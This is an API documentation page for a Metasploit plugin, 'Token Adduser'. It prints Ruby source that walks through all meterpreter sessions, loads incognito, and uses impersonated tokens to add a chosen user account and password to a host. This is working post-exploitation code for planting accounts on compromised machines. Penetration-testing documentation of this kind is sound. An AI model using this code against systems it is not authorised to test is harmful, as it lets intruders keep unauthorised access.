Class: Msf::Plugin::TokenAdduser::TokenCommandDispatcher
Instance Attribute Summary
#driver
#shell, #tab_complete_items
Instance Method Summary
collapse
#active_module, #active_module=, #active_session, #active_session=, #build_range_array, #docs_dir, #framework, #initialize, #load_config, #log_error, #remove_lines
#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, included, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #unknown_command, #update_prompt
Instance Method Details
#cmd_token_adduser(*args) ⇒ Object
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
|
# File 'plugins/token_adduser.rb', line 30
def cmd_token_adduser(*args)
opts = Rex::Parser::Arguments.new(
'-h' => [ true, 'Add account to host']
)
if args.empty?
print_line('Usage: token_adduser [options] <username> <password>')
print_line(opts.usage)
return
end
opt_user_pass = []
username = nil
password = nil
host = nil
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
host = val
else
opt_user_pass << val
end
end
username = opt_user_pass[0]
password = opt_user_pass[1]
framework.sessions.each_key do |sid|
session = framework.sessions[sid]
next unless session.type == 'meterpreter'
print_status(">> Opening session #{session.sid} / #{session.session_host}")
unless session.incognito
session.core.use('incognito')
end
unless session.incognito
print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
next
end
res = session.incognito.incognito_add_user(host, username, password)
next unless res
print "#{res}\n"
if host && (res =~ /\[\+\] Successfully|\[-\] Password does not meet complexity requirements|\[-\] User already exists/)
break
end
end
end
|
#commands ⇒ Object
24
25
26
27
28
|
# File 'plugins/token_adduser.rb', line 24
def commands
{
'token_adduser' => 'Attempt to add an account using all connected meterpreter session tokens'
}
end
|
#name ⇒ Object
20
21
22
|
# File 'plugins/token_adduser.rb', line 20
def name
'Token Adduser'
end
|